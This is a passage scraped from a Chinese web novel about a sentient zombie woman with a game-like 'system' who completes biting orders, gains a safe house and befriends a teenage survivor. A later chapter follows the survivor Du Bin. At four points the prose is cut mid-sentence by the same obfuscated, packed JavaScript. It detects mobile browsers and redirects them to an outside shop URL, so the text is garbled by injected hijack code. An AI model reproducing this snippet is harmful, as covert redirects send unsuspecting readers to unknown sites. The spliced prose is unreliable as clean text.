一点点失去色彩，又一点点略微发青。 死不瞑目的双眼愈发凸出，被一片灰白所取代，没过一会儿开始抖动。 尸变完成。 牧遥蹲下身，把何奶奶也收进了牢笼。 因为何奶奶和何忠宝是具有血缘关系的亲属，她们可以被绑定在一起，住进家庭套房·牢笼。 丧丧：「嘎嘎嘎，是不是很贴心宿主！」 它振振有词：「这样也算是一家人团聚啦！」 牧遥：“行。” 她才不关心丧尸的心理健康，关她屁事。 牧遥看向依旧蹲着面对空空地板的何子来，问道：“还有需要咬的人吗？” 何子来回过神来：“没有了。” 牧遥：“好的。” 她拔出钉在地上的宝耙，看着留下的坑，补充说道：“不好意思，给你家留下了坑。” 何子来一愣，下意识回道：“没事。” 这个丧尸姐姐……还挺有礼貌的？ 牧遥观察了何子来的状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699578|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态，想了想没有多说什么。 一般人无食物无水源被关起来三天，接近死亡边缘时接到一个奇怪的订单，订单派来了头聪明丧尸还把自己的弟弟和奶奶给啃了。 正常人都觉得世界观受到了极大的冲击。 再加上牧遥和她是陌生人，所以没有选择多言。 牧遥：“那我就走了。” 她顿了顿还是加上一句：“好好活着。” 当丧尸还是挺难受的。 手机冰冷的电子音播报完，牧遥没多停留，打算回去。 “丧尸姐姐！” 走到门口时，何子来的声音响起。 轻手轻脚的脚步声传来，一部破碎的手机被递到牧遥面前，上面有一个二维码。 “我们加个微信吧。”何子来小声说道，“谢谢你姐姐，如果有需要帮助的我一定来。” 何子来个子小小的，看过去只有一米五，牧遥能清楚地看到她的头顶，也能看到她微微颤抖的唇。 牧遥本来并不想加，人尸殊途，哪有小姑娘和丧尸加好友的。 碍不住丧丧在脑海里哇哇叫，让她赶快加上。 余光又瞄到自己的胳膊，牧遥转念一想，如果皮又掉了，下次有人帮忙贴胶带可能会方便一点。 丧丧：「这就对嘛宿主，丧尸也不能自闭哒。」 牧遥：“……” 好吧。 于是牧遥加上了何子来的微信，告诉她自己就住在她们家楼上的413房间，有需要可以再找她。 何子来握着手机猛猛点头，认真给牧遥修改备注。 也多亏于现在官方还在坚持维持电力设备的运转，网络还能使用，只是慢了点。 何子来是个很有边界感的女孩子，没有问为什么有这个订单，也没有多问牧遥为什么会变成这样，这点让牧遥很满意。 对此丧丧也很满意。 丧丧：「多好啊，一个2B，一个4B，这就是缘分啊宿主！」 牧遥：“……哦。” 不想接话了。 牧遥开始觉得可以把丧丧的话掉在地上。 确定没有什么事情，牧遥返回到家中，点开面板确定「牢笼」里的两位新“犯人”。 「牢笼」里的何忠宝在到处晃荡，到处甩着口水。何奶奶紧紧跟在身后，不离开半步。 点击两个行走的丧尸就可以弹出她们的消息。 「丧尸信息：2号·何忠宝（D级）」 「是否放出：是|否」 「行动模式：徘徊|捕猎|守护」 「丧尸信息：3号·李桂云（D级）」 「是否放出：是|否」 「行动模式：徘徊|捕猎|守护」 牧遥暂时没有对两位的行动模式进行设定，她下楼的时候顺便把楼道里徘徊的丧尸清理了。如果何子来联系她，有需要的话可以放出去替小姑娘守门。 但更大的可能是，何子来不想再看到这两位。 丧丧哼着不知名的曲调，啪嗒啪嗒的声音传来，似乎在处理订单的后续工作。 没过多久，提示出现了。 「您的咬了么订单已完成。」 「您已获得身体破损消消乐*1，请查收」 「感谢您维护了人类文明，您真伟大！」 与此同时，依旧坐在地上那个坑洞旁边发愣的何子来也收到了消息提醒。 无数的礼花在她的脑中无声绽放，似乎在庆祝她的新生。 【您的咬了么订单已完成，祝您生活愉快！】 11. 丧……丧尸领主？ 您的安全屋已生成…… 咬咬单的完成让牧遥心里产生一种奇特的满足感。 丧丧察觉到了立刻说：「您就是不玩游戏！做任务啊，收集啊，开拓地图啊，都会有一种满足感哒。」 牧遥没有否认。 游戏玩起来要投入很多情绪，她觉得累得慌。 她的个人信息显示改变了，一行一行刷新出来： 「姓名：牧遥」 「成为丧尸天数：5天」 「目前咬人统计：3人」 「……」 系统界面卡顿了一下，奖励姗姗来迟。 「识别到宿主已咬3人，解锁空间背包功能」 「识别到宿主已咬3人，解锁成就“三人成虎”，点击查看奖励哟。」 ……还有成就系统？ 牧遥虽然不玩游戏，但也知道一些游戏会设计成就系统让人更有参与感和满足感。 依稀记得她的大学关系挺好的舍友就很喜欢游戏，经常拉着她科普不同游戏的区别。 牧遥眯了眯眼，好像舍友最喜欢的游戏是什么……模拟经营？ 记不得了，大学毕业后两人虽然在一个城市，但工作繁忙都没约出来几次，慢慢就疏远了。 也不知道她现在怎么样了，是不是还活着。 牧遥的思绪被脑海两个七彩的词语打断了。 “空间背包”和“三人成虎”两个词语晃来晃去，让她赶紧点击。 牧遥：“……” 看来不点不行了，一个个来吧。 牧遥先点击了【空间背包】。 一个奇异的空间出现在牧遥的脑子里。 这是一个长宽高都为三米的立方体空间，牧遥可以随心操控物体的进出。 同时根据【空间背包】说明上的内容，里面的时间静止，物体不会损坏。 牧遥：“……” 这不是传说中的空间异能吗？ 丧丧：「宿主，您不开心吗！您拥有了一个空间！」 「这可是空间！多少人想要这个异能，不用担心食物损坏，多棒呀——」 牧遥：“我是丧尸。” 简而言之，再多的物资对她来说也是没用的。 丧丧像一只被捏住脖子的大鹅，所有的声音戛然而止。 空气中弥漫着尴尬的气息。 沉默三秒，丧丧结结巴巴地说：「收藏了也没坏处嘛，而且【空间背包】很强大的，您多咬一个坏蛋，就会长宽高都扩容1米的维度诶！」 牧遥：“这么听起来是挺厉害的。” 她顿了顿再次重复。 牧遥：“我是丧尸。” 丧丧焉了，半天没有吱声，牧遥就继续点击了蹦跶的【三人成虎】。 点击之后卡顿了片刻，似乎在进行加载。 「叮——！」 「检测到宿主咬人次数达标，社会影响力指数+1！」 「恭喜您获得成就“三人成虎”：您已经制裁了三个坏人，鉴于您的丰功伟绩，获得了一个【空间胶囊】，请选择合适的地方使用哟~」 空间胶囊？ 牧遥点击详情。 【空间胶囊】：一次性物品，捏碎即可使用。在选择的区域建立安全屋。 注意： 1.使用后无法搬迁、拆除，请妥善选择安放的位置。 2.首次限制使用空间不大于50平方。 一个透明的泡泡出现在牧遥的手心，吹弹可破。 牧遥面无表情盯着这个泡泡，缓缓问道：“安全屋？” 丧尸需要什么安全屋？ 不是她说，她就算躺在路中央都安全极了！ 丧丧：「话可不能这么说呀宿主，您看看有个安全屋，您就可以庇护重要的人了呀。」 牧遥：“……没有重要的人。” 丧丧：「……」 太难为统了，把天都聊死了。 谁知牧遥话音一转：“可能有，不知道还有没有活着。” 丧丧想到了之前没有拨打通的电话，一时不敢吱声。 它强打精神转移话题：「总……总之！我们好好选择一个地点建立一个安全屋呗，安全屋是可以慢慢升级的。」 「当个丧尸领主多酷嘛！」 「以后也可以收容一些人类嘛，人类很脆弱的，可是很容易就死了。」 牧遥：“是啊。” 人类确实很脆弱，这点她不否认。 于是牧遥手心合拢，捏爆了泡泡。 丧丧：「？？！！」 就这么使用了？？！！ 一阵白光从牧遥的手心里溢出，充盈在整个房间，看起来暖洋洋的。 白光流淌，拂过屋内的每一件家具，渗进每一个空间角落，似乎为房内的家具渡上了一层特殊物质。 伴随着一声“咔嗒”的脆响。 牧遥脚下的地板开始一点点重组，空气扭曲、墙体震颤，原本有点灰尘的出租屋在一瞬间像被洗净，取而代之的是一间干净得不真实的房间。 很快，弹窗出现。 「您的安全屋已生成。」 「所属人：牧遥（丧尸领主·等级1）」 「等级：1级（距离下一等级所需转换丧尸人数：3人）」 「防御力：可抵挡基础破门、撬锁、丧尸堆堆乐。」 「面积：49㎡」 「电力供应：每日1小时」 「水源供应：每日1小时」 「空气指数：无毒，可呼吸。」 「状态：完好，但缺少点生活气息，请领主加强一些哦。」 「可解锁设施：无（升级可解锁）」 丧丧：「宿主啊！这可是安全屋啊！您怎么不能好好选个位置就直接用了啊！」 一般人不是会精心挑选一个地址，侦查周围的环境，然后慎重地、虔诚地戳开手里的泡泡。 怎么到它的主这里就跟拍死一只蚊子一样，“啪”就给捏爆了！ 牧遥不以为意：“道具里不是写了吗？” 丧如考批·丧丧：「写了啥？」 牧遥淡淡地说：“‘首次’代表了之后可能还能获得这个道具，而且……” 她跺了跺脚示意：“限定的范围只有50平，我现在的屋子刚好49平。” 丧丧：目瞪口呆.jpg。 好……好有道理，它没有办法反驳！ 丧丧安静了下来，牧遥才能地观察这个“安全屋”。 放眼望去，安全屋和她之前的小房子没有什么区别。只是像是对屋内的家具进行了特殊处理，比如她触碰书柜，就会显示： 【简陋书柜：可以收纳书籍（上限99本）】 牧遥：“……” 她的大书架本来放满就能收纳大概200本书。 怎么升级了还少了。 再看看其他的家具。 【简陋床铺：躺在上面的人可以快速入睡，恢复体力的速度加快（对丧尸无效哟）】 牧遥：“……” 不知道以后升级了能不能让她睡觉。 最好是长眠的那种。 【坚强的热水器：它成为了全屋的供水中心，在基础设施停摆后，每24小时产出1小时水源，其中有5分钟的热水】 【坚强的冰箱：它，努力保存物体不坏，不生长霉菌。在基础设施停摆后，可以依旧保持低温状态】 【弱小但坚强的插座：它，虽然弱小，但仍努力运转！在基础设施停摆后，每24小时产出1小时电源，并提供5分钟的网络】 牧遥：“……好坚强哦。” 这下她也明白了，电力供应和水源供应是从哪里来的。 丧丧：「怎么样宿主！厉害吧！」 牧遥：“厉害，但是对我没用。” 沉默片刻，她再次询问丧丧：“你这个系统是不是定位有点奇怪？应该绑个人类比较好吧……” 想也知道，如果丧尸末日的普通人拥有这样的系统，又有安全屋、空间，又能杀丧尸换积分兑换道具，得生活的多么幸福。 可偏偏选择了她这个丧尸。 有一种抛媚眼给瞎子看的感觉。 牧遥叹气。 丧丧：「也不能这么说啦宿主，您要相信一切发生都是有原因的啦。」 牧遥：“问了你也不会说是吧？” 丧丧：「嗯哼~」 牧遥只能先不管这些，继续划拉逐渐丰富的系统面板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699579|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 拉到个人信息那一栏，上面写着： 「神志维持剩余天数：2天」 「现有丧币：3560SB」 「待使用道具：身体破损消消乐*1」 何忠宝和李桂云的恶臭等级是D级，一人给了150积分。再加上下楼时顺手清理的3头丧尸，现在牧遥的丧币还挺可观。 除开在地铁上买了一把宝耙，她没有兑换任何的道具。 现在神志剩余天数所剩不多，她干脆先买了一个月的神志清晰套餐。 一开始她连神志清醒都不想买。 失去了睡眠的她没办法逃避，没办法隔断，只能睁眼看着太阳东升西落。 对于这样的她，不如失去神志，陷入永远的睡眠来说更好。 丧丧哭天喊地求了她好几天，每天在她脑子里念叨生命的美好，还说如果牧遥丧失神志到后面会发生不好的事情。 具体什么事情，这系统又不肯说。 牧遥都把宝耙对准了自己的眼眶，打算把自己给送走。 也不知道丧丧做了什么，她无法做出任何的自毁举动。 牧遥只能购买了神志清醒，就这么先活着算了。 购买完之后，她继续点击了订单获得的奖励。 【身体破损消消乐】：一次性道具，当您身上的伤口达到三个时，可以帮您消除哟~ 【是否使用？】 【是】 牧遥没有犹豫就点击使用。 她身上的伤口早就超过了三个，光是手臂上坑坑洼洼的皮破损就有四五块了。 虽然她不痛不痒不在意，但是长毛了看到还是挺恶心的。 不知道这个消消乐是怎么计算的，如果是按照部位就好了。 随着【身体破损消消乐】道具名字的消失，一个像是老虎机一样的游乐设备出现在牧遥面前的地板上，发出“当”的一声响动。 竟然还是个实体道具。 丧丧：「唉呀妈呀，吓我一跳。」 牧遥：“……是啊。” 她应了声，根据提示摸上了老虎机的把手，往下一拉。 一阵劲爆的电吉他音乐响起，上面的图标欢快地开始滚动，发出“咔哒咔哒”的声响。 牧遥眯眼看去，绘制的是她身体的各个部位。 脸部、左上臂、右下臂、左大腿和右小腿。 牧遥：“……” 好家伙，原来她身上的破损这么多。 一个【身体破损消消乐】都没办法修复完。 看来感知消失真的很不方便，说不定哪天她胳膊甩没了或者脸上的血肉都被刮没了，一时半会儿还真发现不了。 根据提示，牧遥再次拉动把手，图标随着音乐声，逐个停止。 最终可以修复的是左大腿、右小腿和脸部。 【身体破损消消乐】老虎机瞬间消失，变为一团暖光融入牧遥的身体里，治愈着被选择出来的破损。 似乎又不止是破损。 牧遥还感觉到自己似乎多了点情绪。 没错，是情绪。 从订单完成后就多了一点奇怪的感觉，有点像羽毛在身上浮动，痒痒的。 牧遥：“啊……” 丧丧：「怎么啦宿主！您不应该开心嘛！」 「您看看您歪歪的下巴，还有扁扁方方的腿腿都恢复正常啦。您快照照镜子，多漂亮的一头丧尸啊！」 牧遥：“头……？” 原来她不是一个丧尸。 她是一头丧尸。 牧遥笑了，知道自己多的情绪是什么了。 是无奈。 牧遥低头看向自己的两只胳膊，无奈地说：“可是我身上长毛的，是两只胳膊……” “我的腿只是方了点、扁了点，对生活没啥影响。” 丧丧：「……」 哎呀。 为了缓解尴尬，丧丧脑筋转了又转，用富有激情的声音说道： 「那么宿主，再考虑一下我们的一键修复套餐如何？我去为您争取一下，努力688丧币就给您谈下来！」 牧遥：“谢谢，不用。” 她有点怀疑自己的系统上一份工作可能是电视导购。 12. 我臭吗？ 丧尸病毒爆发第九日。 电力、水源还有网络依旧正常，看来官方还在努力维持，只是救援迟迟不来。 「丧尸病毒爆发全看命啦，没有规律，不管男女老少或者富贵贫穷。」 「所以军队和高层里也有一些变成丧尸，光是收容那些高官就花费了很多的时间和人力。」 「还有科研人群也有几个领头人物变了，幸存的人开始研发疫苗，希望可以把丧尸化的人变回来。」 丧丧是这么说的。 牧遥：“那能变回来吗？” 丧丧：「很遗憾，不行。」 除了这些，牧遥也有些疑惑：“不是有一些强火力的武器，不能镇压吗？” 科技发展到这个水平，不能完全用武力镇压吗。 丧丧：「那也要先疏散还活着的人群，不然那不叫镇压，那叫屠杀。」 而且丧丧话音一转，语气微妙：「也有人提出镇压，并且尝试实施，还好及时被拦了下来，因此也发现——」 「强力武器和战略系统全部失效了。」 失效了？ 牧遥追问原因，丧丧却闭口不谈，只说情形非常复杂，不是现在这个阶段的牧遥可以知道的。 根据丧丧所说，丧尸这个物种的存在很不符合现有的科学水平，也不是人为制造病毒能够造出来的。 丧丧：「开玩笑，不用喝水，没有痛觉，相当于永生诶！这种好事怎么可能以现有的人类科技水平造出来嘛。」 基本上丧尸如果不摄入食物，也能维持很长一段时间的□□机能运行，只要啃上一口新鲜的血肉，又能精神满满运转很久。 如果太久没有进食，也会自发地进入休眠状态，察觉到有鲜活□□后再次复苏。 牧遥：“那这对于人类来说，会不会太绝望了？” 丧丧：「人类也不是世界之主呀，为什么要考虑人类的感受呢？」 牧遥若有所思：“所以，丧尸病毒是天外来物？” 丧丧：「可以这么认为，反正是比起咱们这个星球更高维度的存在。」 而且，或许真正的丧尸眼里的世界或许不一样呢？ 人肉肢体或许是香香软软的小面包、生鱼片一般的口感…… 不知道。 牧遥眼里腐烂的肉还是肉，人也还是人。 作为介于两者之间的存在，她既无法体验活着，也无法体验丧尸的视角。 怪微妙的。 完成首单后，还没有接到新的订单。牧遥闲得很，在家里刷着手机。 社交媒体上偶尔能刷到官方救助了哪些被困的幸存者，清理了哪一块区域的丧尸，也有人称官方已经开始选址要建立大型庇护所。 官方顾不了所有人，只能每天推送信息，让民众保护好自己，尽量不要出门，减少物资消耗。 但这种救助，肯定是从市中心，或者是重要的军事、科技区域开始，要轮到牧遥所在郊区的小区，那肯定要等很久很久。 更别提市中心的道路已经被废弃的车辆彻底堵死，里面时不时就能刷新点丧尸出来。 与此相对，对于牧遥小区的人来说，也算是好消息。 这里人流量少，车也少，道路没有被堵死，开出一段距离也能上高速。 因此在这两天，牧遥陆陆续续能听到有人在中午的时候，发动车辆离开小区。 选择中午这个时间点，也是有原因的。 根据近几日的官方和群众的观察，发现丧尸在中午的时候活力减弱，到了晚上精神抖擞，可能是现在中午的温度过高，不大适宜生物的生存。 有人测量过，现在的中午温度高于40度，虽说和南方城市的夏天一样炎热，但终究是不舒服的。 也不知道温度之后还会不会升高。 对于牧遥这头丧尸来说，高温确实对她有点影响。 ——浑身懒洋洋，有点不想动。 剩余留在小区的人，在这时也撇开了业主和租客的区别，加入了同一个群聊。 之前的物业管家有一个还活着。她被好心的租客收留，于是由她一个个询问小群里人员的生还，把还活着的人拉了一个群。 但她能做的，也只有这些。 群里还算活跃，有询问剩余物资的，能否交换物资的，如果离开小区能不能带人的…… 各说各话，似乎都是努力活着的证明。 牧遥也加了群，但没有发言，就是每隔一个小时会被丧丧催促着去看看群消息，再留意一下社交媒体上的新动态。 对此，她很无奈。 身为一……头丧尸，真的很无聊。 牧遥无聊到被丧丧一怂恿，出门逛商场了。 她把家里仅存的那些容易坏掉的物资都放入了【空间背包】中，只占了一小块地方，看起来格外凄凉。屋内的家具本就少，【简陋书柜】上的书只放了十几本，看过去空空荡荡。 丧丧磨了牧遥半天，让她去找点书。 丧丧振振有词：「宿主，书籍也是很重要的。如果以后网络电力都消失了，纸质的书籍就是人类文明的传承啊！」 牧遥：“我是一头丧尸。” 言外之意，保存人类的文明有什么用？ “头”字还被她加重了。 丧丧：「……」 对不起，看来宿主对于“头”这个量词非常介意。 但嘴上虽这么说，牧遥也还是把那一书架的书清点好，打算逛商场的时候再运点回来填满书架。 毕竟她当了25年人类，丧尸才不到十天。 内心的归属一定要说，还是觉得自己是“一个人”，而不是“一头丧尸”。 牧遥一边下楼一边思索要去商场“买”点什么。 长毛的绿胳膊，应该需要一副袖套或者长袖衣服来遮一下，不然出去容易被人误杀。 或者是绷带？可以缠绕起来会比胶带好。 还需要一些口罩，可以挡住自己的獠牙…… 等等，有个大问题。 有个一直被她忽视的大问题。 牧遥脚步一顿。 想了想，她掏出手机给何子来发消息。 【遥：兔兔，问你个事。】 可爱的小兔子头像很快回复： 【凶猛大白兔：姐姐，怎么啦，你问！】 这几天两人一直保持联系，何子来说不喜欢自己的名字，可以叫她兔兔。 发生了那么大的事，何子来只沉闷了一个晚上就打起了精神，第二天开始找牧遥聊天。 她先再次感激了牧遥的帮助，又强调了自己和妈妈正在努力回复这几天亏空的身体，让牧遥需要帮助可以随时联系她，她也不会在外面宣扬牧遥的身份。 还时不时分享一些收集到的消息，一点没有在乎牧遥的身份。 牧遥并不讨厌这个感觉。 现在，她确实需要何子来的帮助。 【遥：我味道大吗？】 想了想，可能不够直接。 【遥：我臭吗？】 捧着手机的何子来：“……” 一个尴尬兔子的表情包出现在屏幕里。 【遥：没事，你说实话。】 【凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699580|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛大白兔：有……有点臭的……】 这句话出现后，何子来就发了好几个安慰的表情包，还找补似连发几条消息。 【凶猛大白兔：没事的姐姐，喷点香水就好啦！马上就香喷喷啦！】 【遥：好的，谢谢你。】 她的心微微死了。 实诚孩子都这么说了，看来她不是有点臭，是非常臭。 ……也有可能是超级无敌臭。 牧遥并不觉得往自己身上喷香水是一个好的建议，说不定香水味混着腐烂味，那样香臭香臭的，可能会更恐怖。 到时候她一出现臭味扑鼻而来，再一闻，好像臭里面混了点香…… 哕。 想想都恐怖。 可以把人直接臭昏。 丧丧：「宿主宿主，真不考虑一下一键修复套餐？668丧币我给您谈下来了耶。」 牧遥：“……300丧币我就考虑一下。” 丧丧大惊：「宿主！668已经是骨折价了！我要用我的私房钱来补贴了，您还想着300！不能这样啊宿主——」 牧遥：“修复了我还是有丧尸味啊？” 丧丧：「那……那……」 牧遥：“你还有私房钱？” 丧丧彻底闭麦。 牧遥没有继续搭理丧丧。 她逛街似的溜达到了小区对面的商场里，在超市里每个不同品类的牙刷都拿了一把，同时拿空了一货架的漱口水和口气清新剂。 牧遥不信自己找不出一把用不坏的牙刷。 在超市里逛了半天，找到了自己要的口罩、防晒袖套、医用绷带等物品。 她甚至拿了几个防毒面具和奥特曼面具。 对此丧丧表示了不支持。 「宿主，口罩就行了，这样拉下来就能咬人，要是戴面具取下来多累啊。」 牧遥：“臭的又不是你。” 丧丧：「那要不考虑一下这个448丧币的洗牙净味套餐？」 牧遥：“洗了牙能保持多久？” 丧丧：「一个星期哟~」 心真黑。 牧遥把该拿的东西都拿上，顺便给何子来拿了几袋米面水饺，在丧丧的悲鸣下，把一些快死掉的蔬菜水果都收进了【空间背包】里。 相当于为它们续命永生。 同时为了方便收纳，她也收了3个货架进【空间背包】里。 这样子她不无聊了，可以整理东西消磨时间了。 今天把A货架的东西放到B货架，明天把B货架的东西放到C货架…… 还有搜刮来的所有书籍，也要分门别类收纳整齐。 牧遥有一点点满意。 回去的路上路过何子来家门口，把物资放下，给她发了消息，牧遥就晃荡回了家。 到家还没坐下，屁股还悬在空中，牧遥就收到了新的订单。 「您有一个新的咬了么订单，请及时确认查收哦~」 「咬了么提醒您，请在限时内完成咬人任务哟！」 「订单名称：咬咬单-02」 「订单内容：参与中午定海小区的物资收集计划，咬掉影响团队行动，不利于人类和平发展的危险分子」 「订单要求： 1.除啃咬目标外，不得在其他人面前暴露丧尸身份。 2.严禁播放“我是丧尸”音频」 「订单时限：24小时」 「订单奖励：光子嫩肤*1」 「人类和平，需要您的维护」 牧遥：“……” 人类真不让人省心。 13. 出发啦 丧尸病毒爆发第九天。 世界一片混乱。 丧尸病毒不止在华国境内爆发，是全球性的大灾难。 这一病毒不知道是怎么出现的，也有人认为是国家之间的生化战争，但由于所有国家同时沦陷，几乎是无差别的人员易变，让这种猜想也逐渐平息。 不论贫穷、疾病、困难、痛苦、富有、健康、快乐、幸福，不论身处何方，都变成那毫无理智的怪物。 在此基础上，或许世界是公平的。 许多不得不缩在家中，看着物资日益减少，看着窗外楼下游荡的丧尸，在绝望中感叹： “真是个不公平的世界。” 家中本就有囤货习惯的人们都悄悄松了口气，决定靠物资苟下去，只要能坚持到国家恢复运转，她们就能得救。 但不是所有人都有囤货的习惯。 租房的年轻人、在校的学生、被困公司的人…… 报警电话一直占线，或许再也无法接通。 在这个时候，饿死和被丧尸咬死之间，有一部分人拿起了武器，决定奋力一搏，来追求近乎没有的生机。 杜彬就是其中的一位。 他今年二十五岁，平平无奇地长大，读了大学后顺利毕业，学校不好也不坏。 现在是一个老实本分的上班族。每日七点出门，通勤一个半小时上班，下班到家已经是晚上接近十二点。 也是因此他的房间的作用仅限于提供一个睡眠的空间，除了两桶矿泉水、几包泡面、薯片和压缩饼干外便再没有可以吃的东西。 今天恰好因为他完成了一个大项目，可以调休一天，所以他没有出门上班。 对此杜彬无比的庆幸自己的好运，觉得自己真的是天选之子，要是像以往一样去上班，此时多半已经在公司被咬成丧尸小兵了。 这样子再下去不行。 杜彬清楚地意识到这一点。 他对自己的定位一直很清晰，不可能是龙傲天，只会是小喽啰，但内心总有一点幻想，觉得自己或许足够特别。 让这样的他和丧尸搏斗…… 悄悄拉开窗帘的一角，从他的屋子里刚好能看到楼下摇头晃脑前进的丧尸。 随着时间的流逝，丧尸的外表发生些许变化。 在高温的影响下，破损的皮肤腐坏、生虫、发霉长毛，红黑色的□□和器官暴露在空气中，不用开窗他都能想到味道一定令人作呕。 普通人在日常生活中哪里见过这样的场景。 哪怕他每日都会偷偷掀开窗帘窥探，此时也不出意外的干呕出声。 一边干呕一边想起网上刷到的一张图。 最近有些丧尸似乎开始变异，本就惨白的皮肤逐渐发绿，看过去像长了霉菌的馒头。 非常恶心。 杜彬这样想着，身上鸡皮疙瘩起了一层又一层。 “嗡——” 和他肚子的叫声一起传来的，是新组建的定海小区末日群。 【休眠罐头：马上就要没有物资了，我受不了了，打算去对面的商场，有没有人一起的？！】 这像是一种信号，群里先是沉默，过了一会儿死寂的群突然活了起来，无数的消息噼里啪啦的弹出。 杜彬悄悄松了口气，难免有点开心。 网络还没断绝，活人气让他安心。 【可可豆：对面的商场？？疯了吧，下面到处都是丧尸，怎么过去？】 【救命啊：商场里也都是人吧？这不是去送菜吗？】 【休眠罐头：那家商场本来就还没建设完，没有什么商户进去，只开了地下的餐饮和超市，没有那么多人。】 【休眠罐头：不然就在家饿死吗？反正都是死，不如去拼了。】 【十五：也不一定是商场？我记得地铁站里就有便利店。】 【我爱种菜：不如再等等……说不定警察就来救我们了……】 【AAA铁军卖菠萝：放他爹的狗屎，这么多天警察哪里出现过？？】 【AAA铁军卖菠萝：还是他爹的谁能打通报警电话？】 吵起来了。 杜彬咽了口唾沫，眼睛紧紧盯着不断滑动弹出的消息。 他们所在的小区刚建好没多久，最为便利的一点就是楼下的地铁站，其他的公共设施都还没建立。 好就好在隔壁还有一个综合体商场，虽然还在招商，但附近居民的耐心投诉下，大型商超先开了，生活用品都能买到。 这都是针对丧尸爆发以前而言。 现在街上到处游荡着丧尸，想要过街去商场获得物资难度急剧上升。 对于他来说，如果再不出门也是死，但是如果有人组织去商场，人多的话成功几率还高一点。 可是……出门啊。 以他每日坐在电脑前从不锻炼的身手，怕不是给丧尸送菜的。 脑袋中不自觉出现了自己被丧尸抓走啃食的可怖画面，杜彬感到一阵寒意从尾脊骨冒了起来。 他连忙甩甩头，抛掉脑中乱七八糟的想法，从口袋摸出一根烟点上，珍惜地吸了一口。 “呼……” 杜彬呼出口烟，才觉得身上的寒意衰退了些。 他平日工作繁忙，都靠香烟来舒缓紧张的压力，一日能吸上一包。 丧尸灾变爆发的突然，他手头只有昨晚下班便利店买的一包烟。 这几日再怎么省着抽都要抽完了。 想到这里，杜彬眼睛骤然一亮。 对了，刚刚有人说了便利店！ 那家便利店不大，只有6平方左右，本来售卖的都是一些零食和饮料，后来为了方便通勤的人，会售卖一些早餐。 便利店里有一个小小的员工休息室。杜彬平时上班等早餐加热的时候瞄到过，里面堆积了一箱箱的货物。 这条路可行。 这样想着，杜彬都不敢眨眼，死死盯着屏幕，等待群里的人吵出个结果。 来了！ 杜彬眼睛一亮，有想出去的人不顾群里的劝阻声开始了群接龙。他耐心等待有四个人都接上后，才在后面接上。 没过多久，接上龙的人互加好友，拉成了一个小群。 九个人，不多不少。 杜彬点开其他人的朋友圈看了看，发现有一半都是女性的时候，他的心凉了一截。 女的啊，不能还要他保护吧？ 看样子是来蹭他们武力来获得物资的。 杜彬这样想着，撇了撇嘴，等待群里发言。 【休眠罐头：现在是12:52，我们各自准备一下，13:30在楼下大堂集合。】 【休眠罐头：目前计划的是先去地铁站里的便利店，如果东西不够分，再往商场里面探一探。】 【休眠罐头：如果遇到不对的情况，立刻结束行动，返回家里。】 【休眠罐头：记得带上武器！】 【蒸蛋公主：收到！】 【凶猛大白兔：好！】 杜彬眉头一拧，不大赞同。 楼道里也是丧尸吧？这让他们怎么到大堂？其他人都是笨蛋吗？怎么没有人提出疑问？ 又等了一会儿，依旧没有人提出疑问，杜彬紧张得连坐都坐不稳，最后一咬牙在群里发问。 【这次我一定要赢！：那楼道里的丧尸呢？直接下去遇到危险怎么办？】 …… 仅仅过去几秒钟，杜彬手里有了汗液渗出。 怎么没人回？ 这群人这么没礼貌？都不回复消息的？ “叮——” 手机震动一声。 有人回了！ 杜彬悄悄松口气。 【十五：你没有看过楼道么？早就没有丧尸了。】 什么？！ 没有丧尸了？ 杜彬难以置信，从沙发上爬了起来，目光惊疑不定地转向大门。 那是丧尸爆发第一天，他趴在猫眼上。 对门的老人家被砸门声吓到，还以为是着急归家的孩子，于是没有防备地打开门…… 她被咬了个正着，鲜血飞溅，猫眼里能看到老人家捂着脖子绝望倒下，凸出的双眼似乎正和他对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699581|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视。 鲜血溅到猫眼上，一瞬间视野内猩红一片。 